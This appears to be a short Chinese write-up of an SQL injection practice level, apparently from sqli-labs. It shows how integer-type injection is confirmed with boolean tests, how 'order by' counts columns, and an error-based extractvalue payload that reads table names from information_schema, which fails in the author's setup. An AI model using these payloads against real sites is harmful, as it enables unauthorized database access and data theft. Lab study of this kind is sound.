看题目描述是整数型
那么回忆第一关的做法我尝试了添加 ‘ 发现是报错的,那么仿造第一关用order by 1-n来尝试能不能看到列数发现是不行的。我很坏的看了一下源码,在查询语句那我看到是对get传入的id做判断,没有用 ‘ ‘包裹住,所以我猜测可以试试看:
1 and 1=1 正常
1 and 1=2 错误
呐,这就说明了存在整数型的sql注入点,可以利用。
欸嘿,熟练了这次,那么就可以根据第一关思路来一波order by看看列数
?id=1 and 1=1 order by 3正常
?id=1 and 1=1 order by 4显示不正常
那么说明了有三列,接下来就是继续爆库爆表暴字段爆值
那么其实按照第一关的payload来一遍就好了,只不过把那个 ‘ 去掉
然后看了一下别人的解题,第一关手搓报错感觉挺好玩,我也试一试
这次我们用报错函数:
?id=1′ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) –+
【 FUNCTION security.extractvalue does not exist 尴尬,貌似没有这个函数,查阅资料看看怎么解决】